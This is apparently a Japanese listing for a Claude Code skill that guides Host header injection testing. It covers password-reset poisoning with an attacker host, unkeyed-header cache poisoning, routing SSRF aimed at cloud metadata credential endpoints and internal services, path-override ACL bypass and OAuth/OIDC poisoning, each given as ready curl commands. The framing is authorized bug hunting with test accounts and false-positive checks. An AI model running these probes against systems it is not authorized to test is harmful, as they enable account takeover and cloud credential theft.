hunt-host-header について
Host ヘッダーインジェクションを調べる Web セキュリティテスト用スキルです。パスワードリセット、キャッシュポイズニング、SSRF、OAuth/OIDC の検査を扱い、制御されたテストと誤検知の排除を重視します。
主な機能
- 01パスワードリセットポイズニング検査
- 02Host によるキャッシュポイズニング検査
- 03ルーティングとパス上書きの SSRF 検査
- 04OAuth/OIDC の Host ポイズニング検査
- 05証拠確認と誤検知の検証
活用シーン
- 01テストアカウントでリセットメールを確認
- 02Host の反映による共有キャッシュ汚染を検査
- 03プロキシ経由の内部アクセスを検査
- 04Host による OAuth リダイレクトを検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-host-headerインストール後、Claude Code で/hunt-host-headerを入力して読み込まれたか確認します。
詳細
HUNT-HOST-HEADER — Host ヘッダーインジェクション
根拠/出典
このスキルは、公開されている Host ヘッダー攻撃の文献に基づいており、ペイロードを作り出したものではありません。 レポートには、架空の ID ではなく、手法の出典を記載してください。
- パスワードリセットポイズニングの分類 — 代表的な解説は、Skelet/Detectify 時代の「Practical HTTP Host header attacks」です(Django の
request.get_host()からパスワードリセットリンクにつながる事例)。多くのフレームワークでは、ALLOWED_HOSTSのような許可リストを使わず、リクエストの Host からリセット URL を構築していました。実際に観測したフレームワークと、Host が反映される挙動を記載してください。 - キーに含まれない Host/X-Forwarded-Host を介した Web キャッシュポイズニング — PortSwigger Research の James Kettle による「Practical Web Cache Poisoning」(2018 年)および「Web Cache Entanglement」(2020 年)。これらはキーに含まれない入力によるポイズニングを定義しており、X-Forwarded-Host ポイズニングの仕組みもこれに当たります。
- ルーティングベースの SSRF — PortSwigger Research の「Cracking the lens」/ルーティングベースの SSRF(Host ヘッダーにより、フロントエンドが転送先を選択する仕組み)。
レポートには、再現した正確な挙動(反映されたヘッダー、新しいキーでのキャッシュ HIT、Collaborator からの OOB ヒット)を記載してください。検証していない CVE や H1 ID を決して転載しないでください。誤った引用をするより、引用がないほうが常に望ましいです。
重要なターゲット
パスワードリセットリンクに影響する Host ヘッダーインジェクションは、Critical(あらゆるユーザーの ATO)です。
特に価値の高い攻撃チェーン:
- パスワードリセットポイズニング → ATO — サーバーがリクエストの Host からリセットリンクを構築します。攻撃者が
Host: evil.comを設定すると、被害者のリセットメールに攻撃者のドメインを指すトークンが含まれます → クリック時にトークンを取得 → 完全な ATO。アカウント事前乗っ取りの亜種では、被害者が自身のリセットを要求するだけでトークンが evil.com に漏えいします。 - キーに含まれない Host を介した Web キャッシュポイズニング — CDN/リバースプロキシが、攻撃者の
X-Forwarded-Hostを絶対 URL(script src、リンク、リダイレクト)に反映したレスポンスをキャッシュします → 汚染されたエントリが同じキャッシュキーを使う後続の訪問者すべてに配信されます → 大規模な XSS/リダイレクト/CSP バイパス。 - ルーティングベースの SSRF — フロントエンドが Host ヘッダー自体 を使って転送先を選択します。
Host: [REDACTED_IP](または内部ホスト名)を指定すると、そのターゲットにリクエストが転送されます → クラウドメタデータ/内部管理パネル。 - パス上書きによる SSRF/ACL バイパス — IIS/ASP.NET/Spring は
X-Original-URL/X-Rewrite-URLを受け入れてルーティング先のパスを上書きします → エッジ ACL がブロックしていると判断した/adminや内部エンドポイントに到達します。(ルーティング SSRF とは別のレイヤーです。フェーズ 3 を参照してください。) - OAuth/OIDC ポイズニング — Host が
redirect_uriまたは OIDC のissuer/ディスカバリードキュメントに影響します → 認証コードまたはトークンの窃取 → ATO。
攻撃対象領域のシグナル
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
危険なヘッダー候補(キーに含まれない入力/信頼される入力):
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
段階的なハンティング手法
必ず自身が登録したテストアカウントに対してテストしてください。他のユーザーのリセットをリクエストしてはいけません。
フェーズ 1 — パスワードリセットポイズニング
# 1a. Override Host directly
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "[email protected]"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "[email protected]"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "[email protected]"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:[email protected]" -d "[email protected]"
確認: 自身のテスト用受信トレイでリセットメールを開き、リンクのホストを確認します。攻撃者が制御するホスト(evil.com、$TARGET.evil.com、または Collaborator ドメイン)でトークンが確認できた場合に限り、実際の所見となります。**挿入する Host として Burp Collaborator ドメインを使用してください。**被害者がクリックしたとき(またはプレビュー取得機能が取得したとき)に、トークンを帯域外で捕捉して証拠を得られます。詳しくは「検証」を参照してください。
フェーズ 2 — Host / X-Forwarded-Host を介した Web キャッシュポイズニング
仕組み:これは OOB バグではなく、リフレクションバグです。注入したホストがレスポンス本文に反映され(絶対 URL、スクリプトの src、<link href>、<base href>、リダイレクトの Location、または canonical/og:url)、かつそのレスポンスが制御できないキーでキャッシュされる必要があります。キャッシュテスト自体では Collaborator へのコールバックは発生しません。発生するのは、その後、被害者のブラウザーが汚染された絶対 URL を読み込んだ場合のみです。
# 2a. Is the host reflected into the body?
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"
# 2b. Is the response cacheable, and what is the cache key?
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl --max-time 30 --connect-timeout 10 -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl --max-time 30 --connect-timeout 10 -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED
誤検知を防ぐための必須確認事項:
- リフレクションが自分のリクエストでのみ発生する場合(
Varyなどでヘッダーがキーに含まれる、または CDN が Host をキーに含める場合)は、ポイズニングではありません。2c で、ヘッダーを省略したリクエストに対してペイロードが返されることを確認してください。 - 毎回
Age: 0+MISS→ 共有キャッシュがありません → 大規模な影響はありません。自己影響のみ/Low に引き下げてください。 - 「大規模」と主張する前に、別のマシン/新しい外部接続 IP/シークレットモードで影響範囲を確認してください。キャッシュの範囲はエッジ/Cookie/地域ごとに異なることがよくあります。
フェーズ 3 — Host ヘッダーを介した SSRF — 明確に異なる 2 つの仕組み(混同しないこと)
これらは異なるレイヤーで動作します。別々にテストしてください。1 つのリクエストで組み合わせることはできません。
(3A) ルーティングベースの SSRF — Host ヘッダーがアップストリームを選択します。 パスは通常のリクエストと同じようにリクエスト行に指定します。これは、メタデータサービス/内部ホストがプレーンな HTTP を提供し、転送されたリクエスト行とヘッダーだけを認識するためです。X-Original-URL は関係ありません。EC2 IMDS はこれを無視します。
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/" -H "Host: [REDACTED_IP]"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: [REDACTED_IP]"
# GCP / Azure equivalents (still routing via Host):
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/computeMetadata/v1/" \
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
-H "Host: [REDACTED_IP]" -H "Metadata: true"
# Internal hostname / port routing:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $COLLAB"
(3B) パスオーバーライドによる SSRF/ACL バイパス — X-Original-URL / X-Rewrite-URL。 これは、アプリがルーティングされるパスを上書きする IIS/ASP.NET/Spring-Cloud-Gateway の機能です。実際の Host はそのままにし、アップストリームの誘導ではなく、エッジのパス ACLをバイパスします。実際の Host を維持してください。
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
古いプローブ
Host: [REDACTED_IP]+X-Original-URL: /latest/meta-data/は誤りでした。この 2 つのヘッダーは異なるレイヤーで動作し、組み合わせることはできません。メタデータには 3A、ACL バイパスには 3B を使用してください。
フェーズ 4 — OAuth / OIDC / SAML ポイズニング
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
-H "Host: evil.com" | grep -iE "redirect|location|action="
# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
確認: 認証コード/トークンが実際に攻撃者のホストへ送信される必要があります(Collaborator で取得してください)。文字列が反映されただけでは ATO ではありません。
フェーズ 5 — ヘッダーのファジング(Param Miner)
Burp の Param Miner → Guess headers はより高速で、以下のリストでは見つからない、キーに含まれない/キャッシュに影響するヘッダーを検出します。手動での確認:
HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
echo "=== $H ==="
curl --max-time 30 --connect-timeout 10 -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
| grep -iE "location|x-cache|cf-cache|age|set-cookie"
done
攻撃チェーン表
| 発見事項 | 次に連鎖させる内容 | 影響 |
|---|---|---|
| リセットリンクの Host = 攻撃者(自分のテストアカウント) | Collaborator ホストへの注入 → クリック時にトークンを取得 | Critical — 任意のユーザーの ATO |
| X-Forwarded-Host が絶対 URL に反映され、キャッシュ可能でキーに含まれない | キーを汚染 → クリーンな取得でペイロードが返る → XSS/リダイレクトを読み込む | High — 大規模なキャッシュポイズニング |
| フロントエンドが Host でルーティングする | Host: [REDACTED_IP] とリクエスト行のパス → 認証情報 | High/Critical — SSRF → クラウド認証情報 |
X-Original-URL がパスを上書きする | エッジでブロックされた /admin にアクセス | High — ACL バイパス/SSRF |
| OAuth の redirect_uri/issuer が Host から構築される | フローの転送先を変更 → Collaborator でコード/トークンを取得 | Critical — コード窃取による ATO |
検証(ハウスルール)
✅ パスワードリセット: 自身のテストアカウントのメールに記載されたトークン URL が、攻撃者が制御するホストを使用しています。最も強力な証拠は、Collaborator ホストを注入し、リンクのクリックまたはプレビュー時にトークンを含むインバウンド HTTP リクエストが届くことを示すことです(OOB キャプチャ)。
✅ キャッシュポイズニング: 注入したヘッダーを省略したリクエスト(新しい送信元 IP/シークレットモード)でも攻撃者のペイロードが返されます → 共有キャッシュのポイズニングが証明されます。Vary キーで分離される場合、または MISS/Age:0 のみの場合は、深刻度を「低」に下げます。
✅ ルーティング SSRF: [REDACTED_IP]/内部ホストからの実際のレスポンス本文、またはフロントエンドから Collaborator への OOB DNS/HTTP リクエストを確認します(ブラインドケース)。
✅ パスオーバーライド: エッジでブロックされる直接リクエストとのステータス/本文の差異により、オーバーライドが有効になったことを証明します。
✅ OAuth/OIDC: 認可コード/トークンが単に反映されるだけでなく、実際に攻撃者のホストへ送信されることを確認します(キャプチャ済み)。
誤検知を必ず排除してください:
- 反映される ≠ キャッシュされる。自分向けにキャッシュされる ≠ 他者向けにキャッシュされる(
Varyと 2 つ目の IP を確認)。 - Host 文字列をエコーする 200 レスポンスは、レスポンスの内容が内部のターゲットから取得されたか、Collaborator が反応した場合を除き、SSRF ではありません。
- メーラーによっては、Host に関係なくリンクを書き換えて固定の
SITE_URLを使用します。HTTP レスポンス内でヘッダーが反映されても、メールがポイズニングされたとは限りません。メール本文を確認してください。
深刻度:
- リセット → あらゆるユーザーの ATO:クリティカル
- ルーティング SSRF → クラウドメタデータ認証情報:クリティカル(認証情報が使用可能な場合)/高
- キャッシュポイズニング → 大規模な XSS/リダイレクト(共有キーを確認済み):高
- パスオーバーライド → 内部/管理領域へのアクセス:高
- 反映のみ、キャッシュ不可、メールに含まれない、内部へのアクセスなし:低/情報提供のみ
検証
このセルフテストを実行し、Host ヘッダーの調査準備ができていることを確認してください。
-
スキルの完全性 — スキルファイルが読み取り可能で、適切な形式であることを確認します。
grep -q "name: hunt-host-header" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用する準備ができていることを確認します。
落とし穴
- 影響を伴わない Host ヘッダーの反映 — ヘッダーがページ内にエコーされるだけでは脆弱性ではありません。キャッシュポイズニング、パスワードリセットポイズニング、または SSRF が必要です。
- メールで確認されていないパスワードリセットポイズニング — レスポンス内で Host が反映されても、リセットリンクがポイズニングされた証拠にはなりません。実際のメールを確認してください。
- 絶対 URL の生成と相対 URL の生成 — アプリが相対 URL を使用している場合、Host ヘッダーの注入による影響はありません。
- X-Forwarded-Host は受け入れられるが、リンク生成には使われない — ヘッダーはログに記録されても、アプリケーションのロジックでは使用されない場合があります。アプリが実際にどのように処理するかをテストしてください。